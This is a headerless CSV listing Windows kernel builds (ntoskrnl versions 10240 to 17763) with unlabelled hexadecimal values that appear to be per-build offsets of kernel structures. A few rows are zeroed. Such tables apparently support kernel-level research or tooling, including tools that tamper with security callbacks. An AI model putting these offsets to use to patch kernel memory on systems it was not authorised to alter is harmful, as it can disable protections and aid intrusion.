ntoskrnl_10586-1295.exe,3161c0,315fc0,315dc0,6b2,0,20,50,37e228,37e248,c8
ntoskrnl_10586-1176.exe,3161c0,315fc0,315dc0,6b2,0,20,50,37e228,37e248,c8
ntoskrnl_10240-19235.exe,366520,366320,366120,6b2,0,20,50,3cc228,3cc248,c8
ntoskrnl_10586-1356.exe,31a2c0,31a0c0,319ec0,6ba,0,20,50,382228,382248,c8
ntoskrnl_10586-1417.exe,31a2c0,31a0c0,319ec0,6ba,0,20,50,382228,382248,c8
ntoskrnl_10586-1478.exe,31a2c0,31a0c0,319ec0,6ba,0,20,50,382228,382248,c8
ntoskrnl_10586-1540.exe,31a300,31a100,319f00,6ba,0,20,50,382228,382248,c8
ntoskrnl_14393-2214.exe,33ea20,33e820,33e620,6ca,0,20,50,3ab210,3ab230,c8
ntoskrnl_14393-1198.exe,335860,335660,335460,6c2,0,20,50,3a1210,3a1230,c8
ntoskrnl_14393-1670.exe,3348a0,3346a0,3344a0,6c2,0,20,50,3a0210,3a0230,c8
ntoskrnl_14393-1770.exe,3348a0,3346a0,3344a0,6c2,0,20,50,3a0210,3a0230,c8
ntoskrnl_14393-0.exe,33bba0,33b9a0,33b7a0,6c2,0,20,50,3a8210,3a8230,c8
ntoskrnl_14393-1532.exe,3348a0,3346a0,3344a0,6c2,0,20,50,3a0210,3a0230,c8
ntoskrnl_14393-2189.exe,33ea20,33e820,33e620,6ca,0,20,50,3ab210,3ab230,c8
ntoskrnl_14393-2248.exe,33da60,33d860,33d660,6ca,0,20,50,3aa250,3aa270,c8
ntoskrnl_14393-1737.exe,3348a0,3346a0,3344a0,6c2,0,20,50,3a0210,3a0230,c8
ntoskrnl_14393-2273.exe,33da60,33d860,33d660,6ca,0,20,50,3aa250,3aa270,c8
ntoskrnl_14393-2363.exe,33ca20,33c820,33c620,6ca,0,20,50,3a9250,3a9278,c8
ntoskrnl_14393-2312.exe,33ca20,33c820,33c620,6ca,0,20,50,3a9250,3a9278,c8
ntoskrnl_14393-2430.exe,338b60,338960,338760,6ca,0,20,50,3a5250,3a5278,c8
ntoskrnl_14393-2485.exe,338b20,338920,338720,6ca,0,20,50,3a5250,3a5278,c8
ntoskrnl_14393-2395.exe,33bb60,33b960,33b760,6ca,0,20,50,3a8250,3a8278,c8
ntoskrnl_14393-2580.exe,338b20,338920,338720,6ca,0,20,50,3a5250,3a5278,c8
ntoskrnl_14393-2551.exe,338b20,338920,338720,6ca,0,20,50,3a5250,3a5278,c8
ntoskrnl_14393-2636.exe,338be0,3389e0,3387e0,6ca,0,20,50,3a5250,3a5278,c8
ntoskrnl_14393-2608.exe,338b20,338920,338720,6ca,0,20,50,3a5250,3a5278,c8
ntoskrnl_14393-2665.exe,338be0,3389e0,3387e0,6ca,0,20,50,3a5250,3a5278,c8
ntoskrnl_14393-2724.exe,338be0,3389e0,3387e0,6ca,0,20,50,3a5250,3a5278,c8
ntoskrnl_14393-2791.exe,338b20,338920,338720,6ca,0,20,50,3a5250,3a5278,c8
ntoskrnl_14393-2969.exe,339a20,339820,339620,6ca,0,20,50,3a6250,3a6278,c8
ntoskrnl_14393-2906.exe,338b20,338920,338720,6ca,0,20,50,3a5250,3a5278,c8
ntoskrnl_14393-2848.exe,338b20,338920,338720,6ca,0,20,50,3a5250,3a5278,c8
ntoskrnl_14393-3204.exe,339a20,339820,339620,6ca,0,20,50,3a6250,3a6278,c8
ntoskrnl_14393-3085.exe,339a20,339820,339620,6ca,0,20,50,3a6250,3a6278,c8
ntoskrnl_14393-3115.exe,339a20,339820,339620,6ca,0,20,50,3a6250,3a6278,c8
ntoskrnl_14393-3269.exe,339a60,339860,339660,6ca,0,20,50,3a6250,3a6278,c8
ntoskrnl_14393-3143.exe,339a20,339820,339620,6ca,0,20,50,3a6250,3a6278,c8
ntoskrnl_14393-3241.exe,339a60,339860,339660,6ca,0,20,50,3a6250,3a6278,c8
ntoskrnl_14393-3297.exe,339a60,339860,339660,6ca,0,20,50,3a6250,3a6278,c8
ntoskrnl_14393-3321.exe,339a60,339860,339660,6ca,0,20,50,3a6250,3a6278,c8
ntoskrnl_14393-3383.exe,339a60,339860,339660,6ca,0,20,50,3a6250,3a6278,c8
ntoskrnl_14393-3442.exe,339a60,339860,339660,6ca,0,20,50,3a6250,3a6278,c8
ntoskrnl_14393-3471.exe,33ae60,33ac60,33aa60,6ca,0,20,50,3a7250,3a7278,c8
ntoskrnl_14393-3564.exe,33aee0,33ace0,33aae0,6ca,0,20,50,3a7250,3a7278,c8
ntoskrnl_14393-3503.exe,33aee0,33ace0,33aae0,6ca,0,20,50,3a7250,3a7278,c8
ntoskrnl_14393-3541.exe,33aee0,33ace0,33aae0,6ca,0,20,50,3a7250,3a7278,c8
ntoskrnl_14393-3595.exe,33aee0,33ace0,33aae0,6ca,0,20,50,3a7250,3a7278,c8
ntoskrnl_14393-3630.exe,33aee0,33ace0,33aae0,6ca,0,20,50,3a7250,3a7278,c8
ntoskrnl_14393-3686.exe,33aee0,33ace0,33aae0,6ca,0,20,50,3a7250,3a7278,c8
ntoskrnl_14393-3755.exe,33aee0,33ace0,33aae0,6ca,0,20,50,3a7250,3a7278,c8
ntoskrnl_14393-3808.exe,33aee0,33ace0,33aae0,6ca,0,20,50,3a7250,3a7278,c8
ntoskrnl_14393-3750.exe,33aee0,33ace0,33aae0,6ca,0,20,50,3a7250,3a7278,c8
ntoskrnl_14393-3659.exe,33aee0,33ace0,33aae0,6ca,0,20,50,3a7250,3a7278,c8
ntoskrnl_14393-3930.exe,33aee0,33ace0,33aae0,6ca,0,20,50,3a7250,3a7278,c8
ntoskrnl_14393-3866.exe,33ae60,33ac60,33aa60,6ca,0,20,50,3a7250,3a7278,c8
ntoskrnl_14393-3986.exe,33aee0,33ace0,33aae0,6ca,0,20,50,3a7250,3a7278,c8
ntoskrnl_14393-4104.exe,33aee0,33ace0,33aae0,6ca,0,20,50,3a7250,3a7278,c8
ntoskrnl_14393-4046.exe,33aee0,33ace0,33aae0,6ca,0,20,50,3a7250,3a7278,c8
ntoskrnl_14393-4169.exe,33aee0,33ace0,33aae0,6ca,0,20,50,3a7250,3a7278,c8
ntoskrnl_14393-4225.exe,33aee0,33ace0,33aae0,6ca,0,20,50,3a7250,3a7278,c8
ntoskrnl_14393-4283.exe,33aee0,33ace0,33aae0,6ca,0,20,50,3a7250,3a7278,c8
ntoskrnl_14393-4350.exe,33aee0,33ace0,33aae0,6ca,0,20,50,3a7250,3a7278,c8
ntoskrnl_14393-4402.exe,33aee0,33ace0,33aae0,6ca,0,20,50,3a7250,3a7278,c8
ntoskrnl_14393-4467.exe,33aee0,33ace0,33aae0,6ca,0,20,50,3a7250,3a7278,c8
ntoskrnl_14393-4470.exe,33aee0,33ace0,33aae0,6ca,0,20,50,3a7250,3a7278,c8
ntoskrnl_14393-4583.exe,33ae60,33ac60,33aa60,6ca,0,20,50,3a7250,3a7278,c8
ntoskrnl_14393-4530.exe,33ae60,33ac60,33aa60,6ca,0,20,50,3a7250,3a7278,c8
ntoskrnl_14393-4651.exe,33ae60,33ac60,33aa60,6ca,0,20,50,3a7250,3a7278,c8
ntoskrnl_14393-4704.exe,339e60,339c60,339a60,6ca,0,20,50,3a6250,3a6278,c8
ntoskrnl_14393-4770.exe,339e60,339c60,339a60,6ca,0,20,50,3a6250,3a6278,c8
ntoskrnl_14393-4825.exe,339e60,339c60,339a60,6ca,0,20,50,3a6250,3a6278,c8
ntoskrnl_14393-4771.exe,339e60,339c60,339a60,6ca,0,20,50,3a6250,3a6278,c8
ntoskrnl_14393-4827.exe,339e60,339c60,339a60,6ca,0,20,50,3a6250,3a6278,c8
ntoskrnl_14393-4889.exe,33ade0,33abe0,33a9e0,6ca,0,20,50,3a7250,3a7278,c8
ntoskrnl_14393-4946.exe,33ade0,33abe0,33a9e0,6ca,0,20,50,3a7250,3a7278,c8
ntoskrnl_14393-5006.exe,33ae60,33ac60,33aa60,6ca,0,20,50,3a7250,3a7278,c8
ntoskrnl_14393-4886.exe,33ade0,33abe0,33a9e0,6ca,0,20,50,3a7250,3a7278,c8
ntoskrnl_14393-5066.exe,33ae60,33ac60,33aa60,6ca,0,20,50,3a7250,3a7278,c8
ntoskrnl_14393-5125.exe,33ae60,33ac60,33aa60,6ca,0,20,50,3a7250,3a7278,c8
ntoskrnl_14393-5192.exe,33ae60,33ac60,33aa60,6ca,0,20,50,3a7250,3a7278,c8
ntoskrnl_14393-5246.exe,33ae60,33ac60,33aa60,6ca,0,20,50,3a7258,3a7278,c8
ntoskrnl_14393-576.exe,33bca0,33baa0,33b8a0,6c2,0,20,50,3a8210,3a8230,c8
ntoskrnl_14393-693.exe,33bca0,33baa0,33b8a0,6c2,0,20,50,3a8210,3a8230,c8
ntoskrnl_14393-726.exe,335860,335660,335460,6c2,0,20,50,3a1210,3a1230,c8
ntoskrnl_14393-953.exe,335860,335660,335460,6c2,0,20,50,3a1210,3a1230,c8
ntoskrnl_15063-1155.exe,387510,387310,387110,6ca,346f68,20,50,3e5f98,3e5fb8,c8
ntoskrnl_15063-1088.exe,3894d0,3892d0,3890d0,6ca,348fb8,20,50,3e7f98,3e7fb0,c8
ntoskrnl_15063-1206.exe,387510,387310,387110,6ca,346f68,20,50,3e5f98,3e5fb8,c8
ntoskrnl_15063-1266.exe,384410,384210,384010,6ca,343f48,20,50,3e2f98,3e2fb8,c8
ntoskrnl_15063-1029.exe,389550,389350,389150,6ca,348fa8,20,50,3e7f98,3e7fb0,c8
ntoskrnl_15063-13.exe,382290,382090,381e90,6ca,341ea8,20,50,3e1f98,3e1fb0,c8
ntoskrnl_15063-1324.exe,385490,385290,385090,6ca,344f88,20,50,3e3f98,3e3fb8,c8
ntoskrnl_15063-1387.exe,385490,385290,385090,6ca,344f98,20,50,3e3f98,3e3fb8,c8
ntoskrnl_15063-1418.exe,385490,385290,385090,6ca,344f98,20,50,3e3f98,3e3fb8,c8
ntoskrnl_15063-1446.exe,385490,385290,385090,6ca,344fa8,20,50,3e3f98,3e3fb8,c8
ntoskrnl_15063-1478.exe,385450,385250,385050,6ca,344f68,20,50,3e3f98,3e3fb8,c8
ntoskrnl_15063-1596.exe,385450,385250,385050,6ca,344f68,20,50,3e3f98,3e3fb8,c8
ntoskrnl_15063-1563.exe,385450,385250,385050,6ca,344f68,20,50,3e3f98,3e3fb8,c8
ntoskrnl_15063-1746.exe,3854d0,3852d0,3850d0,6ca,344fd8,20,50,3e3f98,3e3fb8,c8
ntoskrnl_15063-1631.exe,385450,385250,385050,6ca,344f68,20,50,3e3f98,3e3fb8,c8
ntoskrnl_15063-1805.exe,3853d0,3851d0,384fd0,6ca,344e78,20,50,3e3f98,3e3fb8,c8
ntoskrnl_15063-1987.exe,385450,385250,385050,6ca,344e48,20,50,3e3f98,3e3fb8,c8
ntoskrnl_15063-1689.exe,3854d0,3852d0,3850d0,6ca,344fd8,20,50,3e3f98,3e3fb8,c8
ntoskrnl_15063-1928.exe,385450,385250,385050,6ca,344e48,20,50,3e3f98,3e3fb8,c8
ntoskrnl_15063-2017.exe,385450,385250,385050,6ca,344e48,20,50,3e3f98,3e3fb8,c8
ntoskrnl_15063-2045.exe,385350,385150,384f50,6ca,344e48,20,50,3e3f98,3e3fb8,c8
ntoskrnl_15063-2076.exe,385350,385150,384f50,6ca,344e48,20,50,3e3f98,3e3fb8,c8
ntoskrnl_15063-2106.exe,385350,385150,384f50,6ca,344e48,20,50,3e3f98,3e3fb8,c8
ntoskrnl_15063-2283.exe,385410,385210,385010,6ca,344e68,20,50,3e3f98,3e3fb8,c8
ntoskrnl_15063-674.exe,3822d0,3820d0,381ed0,6ca,341e88,20,50,3e1f98,3e1fb0,c8
ntoskrnl_15063-296.exe,382290,382090,381e90,6ca,341ea8,20,50,3e1f98,3e1fb0,c8
ntoskrnl_15063-850.exe,389450,389250,389050,6ca,348fb8,20,50,3e7f98,3e7fb0,c8
ntoskrnl_15063-2500.exe,3853d0,3851d0,384fd0,6ca,344e48,20,50,3e3f98,3e3fb8,c8
ntoskrnl_15063-786.exe,382310,382110,381f10,6ca,341ec8,20,50,3e1f98,3e1fb0,c8
ntoskrnl_15063-966.exe,389550,389350,389150,6ca,348fa8,20,50,3e7f98,3e7fb0,c8
ntoskrnl_15063-675.exe,3822d0,3820d0,381ed0,6ca,341e88,20,50,3e1f98,3e1fb0,c8
ntoskrnl_15063-909.exe,389510,389310,389110,6ca,348fa8,20,50,3e7f98,3e7fb0,c8
ntoskrnl_16299-1004.exe,39fec0,3a00c0,39fcc0,6ca,35dac0,20,50,4000d0,4000f8,c8
ntoskrnl_16299-1087.exe,39ff00,3a0100,39fd00,6ca,35dac0,20,50,4000d0,4000f8,c8
ntoskrnl_16299-1029.exe,39ff00,3a0100,39fd00,6ca,35dac0,20,50,4000d0,4000f8,c8
ntoskrnl_16299-1120.exe,39ff00,3a0100,39fd00,6ca,35dac0,20,50,4000d0,4000f8,c8
ntoskrnl_16299-1146.exe,3a0d00,3a0f00,3a0b00,6ca,35e8a0,20,50,4000d0,4000f8,c8
ntoskrnl_16299-1182.exe,3a0d00,3a0f00,3a0b00,6ca,35e8a0,20,50,4000d0,4000f8,c8
ntoskrnl_16299-1217.exe,3a1000,3a0c00,3a0e00,6ca,35e968,20,50,4010d0,4010f8,c8
ntoskrnl_16299-125.exe,398a80,398c80,398e80,6ca,356980,20,50,3f90d0,3f90f0,c8
ntoskrnl_16299-1364.exe,3a1000,3a0c00,3a0e00,6ca,35e968,20,50,4010d0,4010f8,c8
ntoskrnl_16299-1419.exe,3a1040,3a0c40,3a0e40,6ca,35e988,20,50,4010d0,4010f8,c8
ntoskrnl_16299-1448.exe,3a1040,3a0c40,3a0e40,6ca,35e988,20,50,4010d0,4010f8,c8
ntoskrnl_16299-15.exe,398c80,398e80,398a80,6ca,356908,20,50,3f90d0,3f90f0,c8
ntoskrnl_16299-1331.exe,3a1000,3a0c00,3a0e00,6ca,35e968,20,50,4010d0,4010f8,c8
ntoskrnl_16299-1622.exe,3a0fc0,3a0bc0,3a0dc0,6ca,35e988,20,50,4010d0,4010f8,c8
ntoskrnl_16299-1747.exe,3a0cc0,3a0ec0,3a0ac0,6ca,35e8c0,20,50,4000d0,4000f8,c8
ntoskrnl_16299-1775.exe,3a0cc0,3a0ec0,3a0ac0,6ca,35e8c0,20,50,4000d0,4000f8,c8
ntoskrnl_16299-192.exe,39dd40,39df40,39db40,6ca,35b980,20,50,3fd0d0,3fd0f0,c8
ntoskrnl_16299-19.exe,398c80,398e80,398a80,6ca,3568e8,20,50,3f90d0,3f90f0,c8
ntoskrnl_16299-2166.exe,3a1100,3a0d00,3a0f00,6ca,35e988,20,50,4010d0,4010f8,c8
ntoskrnl_16299-2045.exe,3a1100,3a0d00,3a0f00,6ca,35e988,20,50,4010d0,4010f8,c8
ntoskrnl_16299-1992.exe,3a0cc0,3a0ec0,3a0ac0,6ca,35e8c0,20,50,4000d0,4000f8,c8
ntoskrnl_16299-214.exe,39ddc0,39dfc0,39dbc0,6ca,35b980,20,50,3fe0d0,3fe0f0,c8
ntoskrnl_16299-309.exe,39e0c0,39dcc0,39dec0,6ca,35bae8,20,50,3fe0d0,3fe0f0,c8
ntoskrnl_16299-251.exe,39e100,39dd00,39df00,6ca,35bac8,20,50,3fe0d0,3fe0f0,c8
ntoskrnl_16299-248.exe,39e100,39dd00,39df00,6ca,35bac8,20,50,3fe0d0,3fe0f0,c8
ntoskrnl_16299-334.exe,39e0c0,39dcc0,39dec0,6ca,35bac8,20,50,3fe0d0,3fe0f0,c8
ntoskrnl_16299-371.exe,39ce40,39d040,39cc40,6ca,35aa00,20,50,3fd0d0,3fd0f0,c8
ntoskrnl_16299-431.exe,39ce00,39d000,39cc00,6ca,35aa00,20,50,3fd0d0,3fd0f0,c8
ntoskrnl_16299-461.exe,39d080,39cc80,39ce80,6ca,35aa88,20,50,3fd0d0,3fd0f0,c8
ntoskrnl_16299-402.exe,39d0c0,39ccc0,39cec0,6ca,35aaa8,20,50,3fd0d0,3fd0f0,c8
ntoskrnl_16299-492.exe,39b080,39ac80,39ae80,6ca,358aa8,20,50,3fb0d0,3fb0f8,c8
ntoskrnl_16299-522.exe,3a2f00,3a3100,3a2d00,6ca,360ac0,20,50,4030d0,4030f8,c8
ntoskrnl_16299-551.exe,3a2f00,3a3100,3a2d00,6ca,360ac0,20,50,4030d0,4030f8,c8
ntoskrnl_16299-547.exe,3a2f00,3a3100,3a2d00,6ca,360ac0,20,50,4030d0,4030f8,c8
ntoskrnl_16299-637.exe,39fe00,3a0000,39fc00,6ca,35d9e0,20,50,4000d0,4000f8,c8
ntoskrnl_16299-611.exe,39fe00,3a0000,39fc00,6ca,35d9e0,20,50,4000d0,4000f8,c8
ntoskrnl_16299-579.exe,3a2f00,3a3100,3a2d00,6ca,360ac0,20,50,4030d0,4030f8,c8
ntoskrnl_16299-64.exe,398c40,398e40,398a40,6ca,3568e8,20,50,3f90d0,3f90f0,c8
ntoskrnl_16299-665.exe,39fe80,3a0080,39fc80,6ca,35dac0,20,50,4000d0,4000f8,c8
ntoskrnl_16299-699.exe,39fdc0,39ffc0,39fbc0,6ca,35da00,20,50,4000d0,4000f8,c8
ntoskrnl_16299-666.exe,39fe80,3a0080,39fc80,6ca,35dac0,20,50,4000d0,4000f8,c8
ntoskrnl_16299-726.exe,39fdc0,39ffc0,39fbc0,6ca,35da00,20,50,4000d0,4000f8,c8
ntoskrnl_16299-755.exe,3a0080,39fc80,39fe80,6ca,35da88,20,50,4000d0,4000f8,c8
ntoskrnl_16299-785.exe,39fec0,3a00c0,39fcc0,6ca,35dac0,20,50,4000d0,4000f8,c8
ntoskrnl_16299-820.exe,39fec0,3a00c0,39fcc0,6ca,35dac0,20,50,4000d0,4000f8,c8
ntoskrnl_16299-846.exe,39fec0,3a00c0,39fcc0,6ca,35dac0,20,50,4000d0,4000f8,c8
ntoskrnl_16299-98.exe,398ec0,398ac0,398cc0,6ca,356980,20,50,3f90d0,3f90f0,c8
ntoskrnl_16299-904.exe,39fec0,3a00c0,39fcc0,6ca,35dac0,20,50,4000d0,4000f8,c8
ntoskrnl_16299-967.exe,39fec0,3a00c0,39fcc0,6ca,35dac0,20,50,4000d0,4000f8,c8
ntoskrnl_17134-1.exe,3f4ef0,3f50f0,3f4cf0,6ca,3b2120,20,50,45e250,45e270,c8
ntoskrnl_17134-1006.exe,3e4ef0,3e4af0,3e4cf0,6ca,3a1fc8,20,50,44d250,44d278,c8
ntoskrnl_17134-1038.exe,3e4db0,3e4fb0,3e4bb0,6ca,3a1fe0,20,50,44d250,44d278,c8
ntoskrnl_17134-1098.exe,3e4f70,3e4b70,3e4d70,6ca,3a1fb0,20,50,44d250,44d278,c8
ntoskrnl_17134-1067.exe,3e4f70,3e4b70,3e4d70,6ca,3a1fb0,20,50,44d250,44d278,c8
ntoskrnl_17134-112.exe,3f1e30,3f2030,3f1c30,6ca,3af088,20,50,45b250,45b278,c8
ntoskrnl_17134-1130.exe,3e4fb0,3e4bb0,3e4db0,6ca,3a1fb0,20,50,44d250,44d278,c8
ntoskrnl_17134-1246.exe,3e4fb0,3e4bb0,3e4db0,6ca,3a1fb0,20,50,44d250,44d278,c8
ntoskrnl_17134-1345.exe,3e4db0,3e4fb0,3e4bb0,6ca,3a1fe0,20,50,44d250,44d278,c8
ntoskrnl_17134-1184.exe,3e4fb0,3e4bb0,3e4db0,6ca,3a1fb0,20,50,44d250,44d278,c8
ntoskrnl_17134-1365.exe,3e4e30,3e5030,3e4c30,6ca,3a2000,20,50,44d250,44d278,c8
ntoskrnl_17134-137.exe,3f1e30,3f2030,3f1c30,6ca,3af088,20,50,45b250,45b278,c8
ntoskrnl_17134-1304.exe,3e4ef0,3e4af0,3e4cf0,6ca,3a1fe8,20,50,44d250,44d278,c8
ntoskrnl_17134-1425.exe,3e4e30,3e5030,3e4c30,6ca,3a2000,20,50,44d250,44d278,c8
ntoskrnl_17134-1488.exe,3e4db0,3e4fb0,3e4bb0,6ca,3a1fe0,20,50,44c250,44c278,c8
ntoskrnl_17134-1550.exe,3e4db0,3e4fb0,3e4bb0,6ca,3a1fe0,20,50,44c250,44c278,c8
ntoskrnl_17134-165.exe,3f1e30,3f2030,3f1c30,6ca,3af088,20,50,45b250,45b278,c8
ntoskrnl_17134-1610.exe,3e4db0,3e4fb0,3e4bb0,6ca,3a1fe0,20,50,44c250,44c278,c8
ntoskrnl_17134-1667.exe,3e4ff0,3e4bf0,3e4df0,6ca,3a1f88,20,50,44c250,44c278,c8
ntoskrnl_17134-1845.exe,3e4f70,3e4b70,3e4d70,6ca,3a1fd0,20,50,44c250,44c278,c8
ntoskrnl_17134-167.exe,3f1e30,3f2030,3f1c30,6ca,3af088,20,50,45b250,45b278,c8
ntoskrnl_17134-1726.exe,3e4ff0,3e4bf0,3e4df0,6ca,3a1f88,20,50,44c250,44c278,c8
ntoskrnl_17134-1792.exe,3e4f70,3e4b70,3e4d70,6ca,3a1fd0,20,50,44c250,44c278,c8
ntoskrnl_17134-1902.exe,3e4f70,3e4b70,3e4d70,6ca,3a1fd0,20,50,44c250,44c278,c8
ntoskrnl_17134-191.exe,3f2e30,3f3030,3f2c30,6ca,3b0088,20,50,45c250,45c278,c8
ntoskrnl_17134-1967.exe,3e4f70,3e4b70,3e4d70,6ca,3a1fd0,20,50,44c250,44c278,c8
ntoskrnl_17134-2026.exe,3e4f70,3e4b70,3e4d70,6ca,3a1fd0,20,50,44c250,44c278,c8
ntoskrnl_17134-2208.exe,3e4f70,3e4b70,3e4d70,6ca,3a1f88,20,50,44c250,44c278,c8
ntoskrnl_17134-2087.exe,3e4f70,3e4b70,3e4d70,6ca,3a1fd0,20,50,44c250,44c278,c8
ntoskrnl_17134-2145.exe,3e4f70,3e4b70,3e4d70,6ca,3a1f88,20,50,44c250,44c278,c8
ntoskrnl_17134-254.exe,3e5ff0,3e5bf0,3e5df0,6ca,3a3108,20,50,44e250,44e278,c8
ntoskrnl_17134-228.exe,3e5ff0,3e5bf0,3e5df0,6ca,3a3108,20,50,44e250,44e278,c8
ntoskrnl_17134-320.exe,3e5eb0,3e60b0,3e5cb0,6ca,3a3120,20,50,44e250,44e278,c8
ntoskrnl_17134-285.exe,3e6030,3e5c30,3e5e30,6ca,3a3100,20,50,44e250,44e278,c8
ntoskrnl_17134-286.exe,3e6030,3e5c30,3e5e30,6ca,3a3100,20,50,44e250,44e278,c8
ntoskrnl_17134-345.exe,3e5eb0,3e60b0,3e5cb0,6ca,3a3160,20,50,44e250,44e278,c8
ntoskrnl_17134-376.exe,3e5fb0,3e5bb0,3e5db0,6ca,3a3108,20,50,44e250,44e278,c8
ntoskrnl_17134-407.exe,3e5f30,3e5b30,3e5d30,6ca,3a3108,20,50,44e250,44e278,c8
ntoskrnl_17134-471.exe,3e5fb0,3e5bb0,3e5db0,6ca,3a3108,20,50,44e250,44e278,c8
ntoskrnl_17134-472.exe,3e5fb0,3e5bb0,3e5db0,6ca,3a3108,20,50,44e250,44e278,c8
ntoskrnl_17134-523.exe,3e5fb0,3e5bb0,3e5db0,6ca,3a3108,20,50,44e250,44e278,c8
ntoskrnl_17134-48.exe,3f5030,3f4c30,3f4e30,6ca,3b20e8,20,50,45e250,45e270,c8
ntoskrnl_17134-556.exe,3e5fb0,3e5bb0,3e5db0,6ca,3a3108,20,50,44e250,44e278,c8
ntoskrnl_17134-765.exe,0,0,0,0,0,0,0,0,0,0
ntoskrnl_17134-648.exe,3e5fb0,3e5bb0,3e5db0,6ca,3a3108,20,50,44e250,44e278,c8
ntoskrnl_17134-590.exe,3e5fb0,3e5bb0,3e5db0,6ca,3a3108,20,50,44e250,44e278,c8
ntoskrnl_17134-677.exe,3e4eb0,3e50b0,3e4cb0,6ca,3a2160,20,50,44d250,44d278,c8
ntoskrnl_17134-753.exe,3e4eb0,3e50b0,3e4cb0,6ca,3a2160,20,50,44d250,44d278,c8
ntoskrnl_17134-706.exe,3e4eb0,3e50b0,3e4cb0,6ca,3a2160,20,50,44d250,44d278,c8
ntoskrnl_17134-619.exe,3e5fb0,3e5bb0,3e5db0,6ca,3a3108,20,50,44e250,44e278,c8
ntoskrnl_17134-766.exe,3e4ef0,3e4af0,3e4cf0,6ca,3a1f48,20,50,44d250,44d278,c8
ntoskrnl_17134-829.exe,3e4f30,3e4b30,3e4d30,6ca,3a1f68,20,50,44d250,44d278,c8
ntoskrnl_17134-799.exe,3e4f30,3e4b30,3e4d30,6ca,3a1f68,20,50,44d250,44d278,c8
ntoskrnl_17134-81.exe,3f4f30,3f5130,3f4d30,6ca,3b2120,20,50,45e250,45e270,c8
ntoskrnl_17134-950.exe,0,0,0,0,0,0,0,0,0,0
ntoskrnl_17763-1007.exe,0,0,0,0,0,0,0,0,0,0
ntoskrnl_17134-858.exe,3e4f30,3e4b30,3e4d30,6ca,3a1f68,20,50,44d250,44d278,c8
ntoskrnl_17134-83.exe,3f4f30,3f5130,3f4d30,6ca,3b2120,20,50,45e250,45e270,c8
ntoskrnl_17134-915.exe,3e4d70,3e4f70,3e4b70,6ca,3a1fa8,20,50,44d250,44d278,c8
ntoskrnl_17763-1.exe,0,0,0,0,0,0,0,0,0,0
ntoskrnl_17134-885.exe,3e4f30,3e4b30,3e4d30,6ca,3a1f68,20,50,44d250,44d278,c8
ntoskrnl_17134-982.exe,3e4f30,3e4b30,3e4d30,6ca,3a1fd0,20,50,44d250,44d278,c8
ntoskrnl_17763-1039.exe,0,0,0,0,0,0,0,0,0,0
ntoskrnl_17763-107.exe,0,0,0,0,0,0,0,0,0,0
ntoskrnl_17763-1075.exe,4d9d30,4d9930,4d9b30,6ca,40a650,20,60,5422d0,5422f8,c8
ntoskrnl_17763-1098.exe,4d9d30,4d9930,4d9b30,6ca,40a670,20,60,5422d0,5422f8,c8
ntoskrnl_17763-1192.exe,4d9d30,4d9930,4d9b30,6ca,40a670,20,60,5422d0,5422f8,c8
ntoskrnl_17763-1158.exe,4d9af0,4d9cf0,4d98f0,6ca,40a678,20,60,5422d0,5422f8,c8
ntoskrnl_17763-1131.exe,4d9af0,4d9cf0,4d98f0,6ca,40a678,20,60,5422d0,5422f8,c8
ntoskrnl_17763-1217.exe,4d9d30,4d9930,4d9b30,6ca,40a670,20,60,5422d0,5422f8,c8
ntoskrnl_17763-1282.exe,4d9d70,4d9970,4d9b70,6ca,40a6b0,20,60,5422d0,5422f8,c8
ntoskrnl_17763-1339.exe,4d9d70,4d9970,4d9b70,6ca,40a6b0,20,60,5422d0,5422f8,c8
ntoskrnl_17763-1294.exe,4d9d70,4d9970,4d9b70,6ca,40a6b0,20,60,5422d0,5422f8,c8
ntoskrnl_17763-134.exe,45c430,45c030,45c230,6ca,40efd8,20,50,4c52d0,4c52f8,c8
ntoskrnl_17763-1369.exe,4d9d70,4d9970,4d9b70,6ca,40a6b0,20,60,5422d0,5422f8,c8
ntoskrnl_17763-1397.exe,4d9bf0,4d97f0,4d99f0,6ca,40a6c0,20,60,5422d0,5422f8,c8
ntoskrnl_17763-1432.exe,4d7b30,4d7d30,4d7930,6ca,408698,20,60,5402d0,5402f8,c8
ntoskrnl_17763-1457.exe,4d7b30,4d7d30,4d7930,6ca,408698,20,60,5402d0,5402f8,c8
ntoskrnl_17763-1490.exe,4d5b70,4d5d70,4d5970,6ca,4066d8,20,60,53e2d0,53e2f8,c8
ntoskrnl_17763-1554.exe,4d5cf0,4d58f0,4d5af0,6ca,406630,20,60,53e2d0,53e2f8,c8
ntoskrnl_17763-1518.exe,4d5b30,4d5d30,4d5930,6ca,406698,20,60,53e2d0,53e2f8,c8
ntoskrnl_17763-1577.exe,4d5cf0,4d58f0,4d5af0,6ca,406630,20,60,53e2d0,53e2f8,c8
ntoskrnl_17763-168.exe,4dad70,4da970,4dab70,6ca,40b078,20,50,5442d0,5442f8,c8
ntoskrnl_17763-1637.exe,4d5cf0,4d58f0,4d5af0,6ca,406630,20,60,53e2d0,53e2f8,c8
ntoskrnl_17763-1697.exe,4d5cf0,4d58f0,4d5af0,6ca,406630,20,60,53e2d0,53e2f8,c8
ntoskrnl_17763-1613.exe,4d5cf0,4d58f0,4d5af0,6ca,406630,20,60,53e2d0,53e2f8,c8
ntoskrnl_17763-1728.exe,4d5cf0,4d58f0,4d5af0,6ca,406630,20,60,53e2d0,53e2f8,c8
ntoskrnl_17763-1757.exe,4d5b70,4d5d70,4d5970,6ca,4066d8,20,60,53e2d0,53e2f8,c8
ntoskrnl_17763-1790.exe,4d5b70,4d5d70,4d5970,6ca,4066d8,20,60,53e2d0,53e2f8,c8
ntoskrnl_17763-1817.exe,4d5b70,4d5d70,4d5970,6ca,4066d8,20,60,53e2d0,53e2f8,c8
ntoskrnl_17763-1821.exe,4d5b70,4d5d70,4d5970,6ca,4066d8,20,60,53e2d0,53e2f8,c8
ntoskrnl_17763-1823.exe,4d5b70,4d5d70,4d5970,6ca,4066d8,20,60,53e2d0,53e2f8,c8
ntoskrnl_17763-1879.exe,4d5bf0,4d57f0,4d59f0,6ca,4066c0,20,60,53e2d0,53e2f8,c8
ntoskrnl_17763-1935.exe,4d6870,4d6a70,4d6670,6ca,407498,20,60,53f2d0,53f2f8,c8
ntoskrnl_17763-1911.exe,4d6870,4d6a70,4d6670,6ca,407498,20,60,53f2d0,53f2f8,c8
ntoskrnl_17763-1852.exe,4d5bf0,4d57f0,4d59f0,6ca,4066c0,20,60,53e2d0,53e2f8,c8
ntoskrnl_17763-194.exe,4d9d70,4d9970,4d9b70,6ca,40a038,20,50,5422d0,5422f8,c8
ntoskrnl_17763-195.exe,4d9d70,4d9970,4d9b70,6ca,40a038,20,50,5422d0,5422f8,c8
